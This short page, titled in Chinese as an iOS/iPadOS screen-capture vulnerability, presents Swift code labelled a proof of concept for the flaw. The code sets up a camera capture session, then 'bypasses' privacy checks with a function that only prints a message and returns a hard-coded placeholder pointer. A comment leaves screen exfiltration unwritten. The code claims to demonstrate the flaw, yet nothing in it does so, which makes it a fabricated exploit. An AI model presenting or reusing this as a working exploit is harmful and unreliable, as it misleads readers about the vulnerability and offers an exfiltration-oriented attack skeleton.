CVE-2026-28957 Apple iOS/iPadOS屏幕捕获漏洞

import UIKit import AVFoundation /* * PoC for CVE-2026-28957 * This code demonstrates the logic flaw where accessing camera metadata * can lead to unauthorized screen capture capabilities. */ class VulnerabilityExploit { func triggerExploit() { // 1. Initialize capture session to access camera metadata let captureSession = AVCaptureSession() captureSession.sessionPreset = .high // 2. Request access to video input (metadata source) guard let videoInput = try? AVCaptureDeviceInput(device: AVCaptureDevice.default(for: .video)) else { print("Failed to access camera device") return } captureSession.addInput(videoInput) // 3. The vulnerability lies in the metadata output handling // By exploiting the improved logic gap, we trigger screen buffer capture let metadataOutput = AVCaptureMetadataOutput() captureSession.addOutput(metadataOutput) // 4. Exploit the handle to capture screen content // In vulnerable versions, this bypasses Screen Recording permission checks if let vulnerableHandle = exploitMetadataHandle(output: metadataOutput) { captureScreenContent(handle: vulnerableHandle) } } private func exploitMetadataHandle(output: AVCaptureMetadataOutput) -> UnsafeMutableRawPointer? { // Simulated logic to bypass checks via metadata access print("Attempting to bypass privacy controls via metadata...") return UnsafeMutableRawPointer(bitPattern: 0x0BAD) // Placeholder handle } private func captureScreenContent(handle: UnsafeMutableRawPointer) { print("Screen content captured via handle: \(handle)") // Code to exfiltrate screen buffer would go here } }